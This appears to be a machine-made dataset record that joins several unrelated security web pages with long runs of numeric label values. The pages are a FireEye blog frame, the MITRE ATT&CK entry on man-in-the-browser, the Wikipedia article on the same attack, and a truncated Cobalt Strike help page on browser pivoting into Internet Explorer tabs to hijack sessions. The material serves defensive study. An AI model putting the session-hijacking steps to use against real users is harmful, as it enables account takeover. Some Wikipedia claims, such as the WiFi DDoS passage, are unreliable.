Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","0","0","1","1","0","1","1","1","1","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","1","1","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"Man in the Browser - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Man in the Browser Man in the Browser Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. [1] A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. [2] [3] Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. [4] ID:\xc2 T1185 Tactic: Collection Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 Authentication logs, Packet capture, Process monitoring, API monitoring Contributors:\xc2 Justin Warner, ICEBRG Version:\xc2 1.0 Mitigations Mitigation Description User Account Management Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. User Training Close all browser sessions regularly and when they are no longer needed. Examples Name Description Cobalt Strike Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates. [4] Dridex Dridex can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies. [9] TrickBot TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page. [5] [6] [7] [8] Ursnif Ursnif has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords). [10] Detection This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications References Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018. Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018. De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018. Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\xe2\x80\x99s Machinations. Retrieved August 2, 2018. Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018. Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Man-in-the-browser - Wikipedia Man-in-the-browser From Wikipedia, the free encyclopedia Jump to navigation Jump to search Man-in-the-browser (MITB, MitB, MIB, MiB), a form of Internet threat related to man-in-the-middle (MITM), is a proxy Trojan horse[1] that infects a web browser by taking advantage of vulnerabilities in browser security to modify web pages, modify transaction content or insert additional transactions, all in a completely covert fashion invisible to both the user and host web application. A MitB attack will be successful irrespective of whether security mechanisms such as SSL/PKI and/or two or three-factor Authentication solutions are in place. A MitB attack may be countered by using out-of-band transaction verification, although SMS verification can be defeated by man-in-the-mobile (MitMo) malware infection on the mobile phone. Trojans may be detected and removed by antivirus software[2] with a 23% success rate against Zeus in 2009,[3] and still low rates in 2011.[4] The 2011 report concluded that additional measures on top of antivirus were needed.[4] A related, simpler attack is the boy-in-the-browser (BitB, BITB). The majority of financial service professionals in a survey considered MitB to be the greatest threat to online banking. Contents 1 Description 2 Examples 3 Protection 3.1 Antivirus 3.2 Hardened software 3.3 Out-of-band transaction verification 3.3.1 Man-in-the-Mobile 3.4 Web fraud detection 4 Related attacks 4.1 Proxy trojans 4.2 Man-in-the-middle 4.3 Boy-in-the-browser 4.4 Clickjacking 4.5 DDoS over WiFi and related exploits 5 See also 6 References 7 External links Description[edit] The MitB threat was demonstrated by Augusto Paes de Barros in his 2005 presentation about backdoor trends ""The future of backdoors - worst of all worlds"".[5] The name ""Man-in-the-Browser"" was coined by Philipp G\xc3\xbchring on 27 January 2007.[6] A MitB Trojan works by using common facilities provided to enhance browser capabilities such as Browser Helper Objects (a feature limited to Internet Explorer), browser extensions and user scripts (for example in JavaScript) etc.[6] Antivirus software can detect some of these methods.[2] In a nutshell example exchange between user and host, such as an Internet banking funds transfer, the customer will always be shown, via confirmation screens, the exact payment information as keyed into the browser. The bank, however, will receive a transaction with materially altered instructions, i.e. a different destination account number and possibly amount. The use of strong authentication tools simply creates an increased level of misplaced confidence on the part of both customer and bank that the transaction is secure. Authentication, by definition, is concerned with the validation of identity credentials. This should not be confused with transaction verification. Examples[edit] Examples of MitB threats on different operating systems and web browsers: Man-in-the-Browser examples Name Details Operating system Browser Agent.DBJP[7] Windows IE, Firefox Bugat[8] Windows IE, Firefox Carberp targets Facebook users redeeming e-cash vouchers[9] Windows IE, Firefox ChromeInject*[10] Greasemonkey impersonator[11] Windows Firefox Clampi[12] Windows IE Gozi[1] Windows IE, Firefox Nuklus[2][11] Windows IE OddJob[13] keeps bank session open Windows IE, Firefox Silentbanker[14] Windows IE, Firefox Silon[15] Windows IE SpyEye[16] successor of Zeus, widespread, low detection Windows IE, Firefox Sunspot[17] widespread, low detection Windows IE, Firefox Tatanga[18] Windows IE, Firefox, Chrome, Opera, Safari, Maxthon, Netscape, Konqueror Tiny Banker Trojan[19] Smallest banking Trojan detected in wild at 20KB Windows IE, Firefox Torpig**[15] Windows IE, Firefox URLZone****[1] Windows IE, Firefox, Opera Weyland-Yutani BOT[20] crimeware kit similar to Zeus, not widespread[20][21] Mac OS X Firefox Yaludle[15] Windows IE Zeus***[12] widespread, low detection Windows IE, Firefox Key Windows: IE Windows: IE & Firefox or Firefox Windows: other Mac OS X: any *ChromeInject a.k.a. ChromeInject.A, ChromeInject.B, Banker.IVX, Inject.NBT, Bancos-BEX, Drop.Small.abw[10] **Torpig a.k.a. Sinowal, Anserin[1] ***Zeus a.k.a. ZeuS, Zbot,[22] Wsnpoem,[23][24] NTOS,[3] PRG,[3] Kneber,[25] Gorhax[25] ****URLZone a.k.a. Bebloh!IK, Runner.82176, Monder, ANBR, Sipay.IU, Runner.fq, PWS.y!cy, Zbot.gen20, Runner.J, BredoPk-B, Runner.EQ Protection[edit] Antivirus[edit] Known Trojans may be detected, blocked and removed by antivirus software.[2] In a 2009 study, the effectiveness of antivirus against Zeus was 23%,[3] and again low success rates were reported in a separate test in 2011.[4] The 2011 report concluded that additional measures on top of antivirus were needed.[4] Hardened software[edit] Browser security software: MitB attacks may be blocked by in-browser security software such as Trusteer Rapport for Microsoft Windows and Mac OS X which blocks the APIs from browser extensions and controls communication.[11][12][15] Alternative software: Reducing or eliminating the risk of malware infection by using portable applications or using alternatives to Microsoft Windows like Mac OS X, Linux, or mobile OSes Android, iOS, Chrome OS, Windows Mobile, Symbian etc., and/or browsers Chrome, Opera.[26] Further protection can be achieved by running this alternative OS, like Linux, from a non-installed live CD, or Live USB.[27] Secure Web Browser: Several vendors can now provide a two-factor security solution where a Secure Web Browser is part of the solution[citation needed]. In this case MitB attacks are avoided as the user executes a hardened browser from their two-factor security device rather than executing the ""infected"" browser from their own machine. Out-of-band transaction verification[edit] A theoretically effective method of combating any MitB attack is through an out-of-band (OOB) transaction verification process. This overcomes the MitB trojan by verifying the transaction details, as received by the host (bank), to the user (customer) over a channel other than the browser; for example an automated telephone call, SMS, or a dedicated mobile app with graphical cryptogram.[28] OOB transaction verification is ideal for mass market use since it leverages devices already in the public domain (e.g. landline, mobile phone, etc.) and requires no additional hardware devices yet enables three-factor authentication (using voice biometrics), transaction signing (to non-repudiation level) and transaction verification. The downside is that the OOB transaction verification adds to the level of the end-user's frustration with more and slower steps. Man-in-the-Mobile[edit] Mobile phone mobile Trojan spyware man-in-the-mobile (MitMo)[29] can defeat OOB SMS transaction verification.[30] ZitMo (Zeus-In-The-Mobile) is not a MitB Trojan itself (although it performs a similar proxy function on the incoming SMSes), but is mobile malware suggested for installation on a mobile phone by a Zeus infected computer. By intercepting all incoming SMSes, it defeats SMS-based banking OOB two-factor authentication on Windows Mobile, Android, Symbian, BlackBerry.[30] ZitMo may be detected by Antivirus running on the mobile device. SpitMo (SpyEye-In-The-Mobile, SPITMO), is similar to ZitMo.[31] Web fraud detection[edit] Web Fraud Detection can be implemented at the bank to automatically check for anomalous behaviour patterns in transactions.[32] Related attacks[edit] Proxy trojans[edit] Keyloggers are the most primitive form of proxy trojans, followed by browser-session recorders which capture more data, and lastly MitBs are the most sophisticated type.[1] Man-in-the-middle[edit] Main article: Man-in-the-middle SSL/PKI etc. may offer protection in a man-in-the-middle attack, but offers no protection in a man-in-the-browser attack. Boy-in-the-browser[edit] A related attack that is simpler and quicker for malware authors to set up is termed boy-in-the-browser (BitB or BITB). Malware is used to change the client's computer network routing to perform a classic man-in-the-middle attack. Once the routing has been changed, the malware may completely remove itself, making detection more difficult.[33] Clickjacking[edit] Main article: Clickjacking Clickjacking tricks a web browser user into clicking on something different from what the user perceives, by means of malicious code in the webpage. DDoS over WiFi and related exploits[edit] Some phones and tablets in current use have a known vulnerability to DDoS over WiFi, and this has been documented on certain Android phones. The vulnerability is that if an attacker detects that someone is using sharing it is possible to target the phone or tablet directly using a packet collision similar to the one found on LAN networks requiring guessing the device sharing password using a rainbow table and cloning the SSID thus forcing a reboot after enough data has built up in RAM causing a buffer overflow. During this narrow window malicious software can be used to install a rootkit or other malware over the diagnostics OTA channel before the antivirus has a chance to load in a similar way to how sideloading over USB works. It appears that there is no defense at present other than not using sharing or changing the password after a short random interval eg WPA2-TKIP which not all devices support. WPA3-OTP may be a solution if a sufficiently large memory at both ends is used eg 400GB. See also[edit] Browser security Form grabbing IT risk Threat (computer) Timeline of computer viruses and worms Online banking Security token Transaction authentication number DNS hijacking References[edit] ^ a b c d e Bar-Yosef, Noa (2010-12-30). ""The Evolution of Proxy Trojans"". Retrieved 2012-02-03. ^ a b c d F-Secure (2007-02-11). ""Threat Description: Trojan-Spy:W32/Nuklus.A"". Retrieved 2012-02-03. ^ a b c d Trusteer (2009-09-14). ""Measuring the in-the-wild effectiveness of Antivirus against Zeus"" (PDF). Archived from the original (PDF) on November 6, 2011. Retrieved 2012-02-05. Cite uses deprecated parameter |deadurl= (help) ^ a b c d Quarri Technologies, Inc (2011). ""Web Browsers: Your Weak Link in Achieving PCI Compliance"" (PDF). Retrieved 2012-02-05. ^ Paes de Barros, Augusto (15 September 2005). ""O futuro dos backdoors - o pior dos mundos"" (PDF) (in Portuguese). Sao Paulo, Brazil: Congresso Nacional de Auditoria de Sistemas, Seguran\xc3\xa7a da Informa\xc3\xa7\xc3\xa3o e Governan\xc3\xa7a - CNASI. Archived from the original (PDF) on July 6, 2011. Retrieved 2009-06-12. Cite uses deprecated parameter |deadurl= (help) ^ a b G\xc3\xbchring, Philipp (27 January 2007). ""Concepts against Man-in-the-Browser Attacks"" (PDF). Retrieved 2008-07-30. ^ Dunn, John E (2010-07-03). ""Trojan Writers Target UK Banks With Botnets"". Retrieved 2012-02-08. ^ Dunn, John E (2010-10-12). ""Zeus not the only bank Trojan threat, users warned"". Retrieved 2012-02-03. ^ Curtis, Sophie (2012-01-18). ""Facebook users targeted in Carberp man-in-the-browser attack"". Retrieved 2012-02-03. ^ a b Marusceac Claudiu Florin (2008-11-28). ""Trojan.PWS.ChromeInject.B Removal Tool"". Retrieved 2012-02-05. ^ a b c Nattakant Utakrit, School of Computer and Security Science, Edith Cowan University (2011-02-25). ""Review of Browser Extensions, a Man-in-theBrowser Phishing Techniques Targeting Bank Customers"". Retrieved 2012-02-03.CS1 maint: multiple names: authors list (link) ^ a b c Symantec Marc Fossi (2010-12-08). ""ZeuS-style banking Trojans seen as greatest threat to online banking: Survey"". Retrieved 2012-02-03. ^ Ted Samson (2011-02-22). ""Crafty OddJob malware leaves online bank accounts open to plunder"". Retrieved 2012-02-06. ^ Symantec Marc Fossi (2008-01-23). ""Banking with Confidence"". Retrieved 2008-07-30. ^ a b c d Trusteer. ""Trusteer Rapport"". Retrieved 2012-02-03. ^ CEO of Trusteer Mickey Boodaei (2011-03-31). ""Man-in-the-Browser attacks target the enterprise"". Retrieved 2012-02-03. ^ www.net-security.org (2011-05-11). ""Explosive financial malware targets Windows"". Retrieved 2012-02-06. ^ Jozsef Gegeny; Jose Miguel Esparza (2011-02-25). ""Tatanga: a new banking trojan with MitB functions"". Retrieved 2012-02-03. ^ ""Tiny 'Tinba' Banking Trojan Is Big Trouble"". msnbc.com. Retrieved 2016-02-28. ^ a b Borean, Wayne (2011-05-24). ""The Mac OS X Virus That Wasn't"". Retrieved 2012-02-08. ^ Fisher, Dennis (2011-05-02). ""Crimeware Kit Emerges for Mac OS X"". Archived from the original on September 5, 2011. Retrieved 2012-02-03. Cite uses deprecated parameter |deadurl= (help) ^ F-secure. ""Threat DescriptionTrojan-Spy:W32/Zbot"". Retrieved 2012-02-05. ^ Hyun Choi; Sean Kiernan (2008-07-24). ""Trojan.Wsnpoem Technical Details"". Symantec. Retrieved 2012-02-05. ^ Microsoft (2010-04-30). ""Encyclopedia entry: Win32/Zbot - Learn more about malware - Microsoft Malware Protection Center"". Symantec. Retrieved 2012-02-05. ^ a b Richard S. Westmoreland (2010-10-20). ""Antisource - ZeuS"". Archived from the original on 2012-01-20. Retrieved 2012-02-05. Cite uses deprecated parameter |deadurl= (help) ^ Horowitz, Michael (2012-02-06). ""Online banking: what the BBC missed and a safety suggestion"". Retrieved 2012-02-08. ^ Purdy, Kevin (2009-10-14). ""Use a Linux Live CD/USB for Online Banking"". Retrieved 2012-02-04. ^ Finextra Research (2008-11-13). ""Commerzbank to deploy Cronto mobile phone-based authentication technology"". Retrieved 2012-02-08. ^ Chickowski, Ericka (2010-10-05). ""'Man In The Mobile' Attacks Highlight Weaknesses In Out-Of-Band Authentication"". Retrieved 2012-02-09. ^ a b Schwartz, Mathew J. (2011-07-13). ""Zeus Banking Trojan Hits Android Phones"". Retrieved 2012-02-04. ^ Balan, Mahesh (2009-10-14). ""Internet Banking & Mobile Banking users beware \xe2\x80\x93 ZITMO & SPITMO is here\xc2 !!"". Retrieved 2012-02-05. ^ Sartain, Julie (2012-02-07). ""How to protect online transactions with multi-factor authentication"". Retrieved 2012-02-08. ^ Imperva (2010-02-14). ""Threat Advisory Boy in the Browser"". Retrieved 2015-03-12. External links[edit] Virus attack on HSBC Transactions with OTP Device Virus attack on ICICI Bank Transactions Virus attack on Citibank Transactions Hackers outwit online banking identity security systems BBC Click Antisource - ZeuS A summary of ZeuS as a Trojan and Botnet, plus vector of attacks Man-In-The-Browser Video on YouTube Entrust President and CEO Bill Conner Zeus: King of crimeware toolkits Video on YouTube The Zeus toolkit, Symantec Security Response How safe is online banking? Audio BBC Click Boy-in-the-Browser Cyber Attack Video on YouTube Imperva v t e Malware topics Infectious malware Computer virus Comparison of computer viruses Computer worm List of computer worms Timeline of computer viruses and worms Concealment Trojan horse Rootkit Backdoor Zombie computer Man-in-the-middle Man-in-the-browser Man-in-the-mobile Clickjacking Malware for profit Privacy-invasive software Adware Spyware Botnet Keystroke logging Form grabbing Web threats Fraudulent dialer Malbot Scareware Rogue security software Ransomware Crimeware By operating system Linux malware Palm OS viruses Mobile malware Macro virus Classic Mac OS viruses MacOS malware iOS malware Android malware Protection Anti-keylogger Antivirus software Browser security Internet security Mobile security Network security Defensive computing Firewall Intrusion detection system Data loss prevention software Countermeasures Computer and network surveillance Operation: Bot Roast Honeypot v t e Botnets Notable botnets Akbot Asprox Bagle BASHLITE Bredolab Cutwail Conficker Donbot Festi Grum Gumblar Kelihos Koobface Kraken Lethic Mariposa Mega-D Mirai Metulji Nitol Rustock Sality Slenfbot Srizbi Storm TDL-4 Torpig Virut Vulcanbot Waledac ZeroAccess Zeus Main articles Browser security Computer virus Computer worm Malbot Internet security Malware Man-in-the-browser Network security Operation: Bot Roast Trojan horse v t e Web browsers Features\xc2 \xc2\xb7 standards\xc2 \xc2\xb7 protocols Features Bookmarks Extensions Privacy mode Sync Web standards HTML v5 CSS DOM JavaScript IndexedDB Web storage WebAssembly WebGL Protocols HTTP v2 v3 Cookies Encryption OCSP WebRTC WebSocket Active Blink-based Avast Secure Browser Beaker Blisk Brave Chrome Chromium Coc Coc Dragon Epic Falkon Kinza Maxthon Opera Otter Puffin SalamWeb Samsung Internet Silk Sleipnir Sputnik SRWare Torch UC Vivaldi Whale Yandex Gecko-based Firefox GNU IceCat IceDragon K-Meleon PirateBrowser SeaMonkey TenFourFox Tor Waterfox WebKit-based Dolphin Dooble GNOME Web iCab Konqueror Midori OmniWeb Safari surf Other 360 Avant Basilisk CM Browser Edge eww Internet Explorer Links Lunascape Lynx NetFront NetSurf Pale Moon QQ browser qutebrowser SlimBrowser w3m Discontinued Gecko-based Beonex Communicator Camino Classilla Conkeror Galeon Ghostzilla Kazehakase Kylo Lotus MicroB Minimo Mozilla suite Pogo Strata Swiftfox Swiftweasel Timberwolf xB Trident-based AOL Deepnet GreenBrowser MediaBrowser MenuBox NeoPlanet NetCaptor SpaceTime UltraBrowser WebbIE ZAC WebKit-based Arora BOLT Opera Coast Flock Fluid Google TV Iris Mercury Origyn QtWeb rekonq Rockmelt Shiira Steel Browser for Symbian Uzbl WebPositive xombrero Other abaco Amaya Arachne Arena Blazer Charon Deepfish Dillo ELinks Gazelle HotJava IBM Home Page Reader IBM WebExplorer IBrowse KidZui Line Mode Mosaic MSN TV NetPositive Netscape Skweezer Skyfire Teashark ThunderHawk Vision WinWAP WorldWideWeb Category Comparisons List Retrieved from ""https://en.wikipedia.org/w/index.php?title=Man-in-the-browser&oldid=907499427"" Categories: Computing culture Computing terminology Hacking (computer security) Social engineering (computer security) Trojan horses Web security exploits Hidden categories: CS1 errors: deprecated parameters CS1 Portuguese-language sources (pt) CS1 maint: multiple names: authors list All articles with unsourced statements Articles with unsourced statements from July 2014 Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages Deutsch Nederlands \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 Edit links This page was last edited on 23 July 2019, at 10:05\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Browser Pivoting - Cobalt Strike Download Now Features Screenshots Training Support Browser Pivoting A Browser Pivot is a man-in-the-browser attack to hijack a compromised user's authenticated web sessions. Cobalt Strike implements browser pivoting with a proxy server that injects into 32-bit and 64-bit Internet Explorer. When you browse through this proxy server you inherit cookies, authenticated HTTP sessions, and client SSL certificates. Browser Pivoting is a powerful way to demonstrate risk with a targeted attack. To setup Browser pivoting, go to [beacon] -> Explore -> Browser Pivot. Choose the Internet Explorer instance that you want to inject into. You may also decide which port to bind the browser pivoting proxy server to as well. The process you inject into matters a great deal. Inject into Internet Explorer to inherit the user's authenticated web sessions. Modern versions of Internet Explorer spawn a process for each tab. If your target uses a modern version of Internet Explorer--you must inject into a child tab to inherit session state. Generally, child tabs share all session state. There is one exception to this. Internet Explorer 11 seems to have broken how it shares client SSL state. It's not predictable. If you inject into the tab process associated with a client SSL session--it will work though. Identify an Internet Explorer child tab process by looking at the PPID value in the Browser Pivoting setup dialog. The process is not a child tab when PPID references 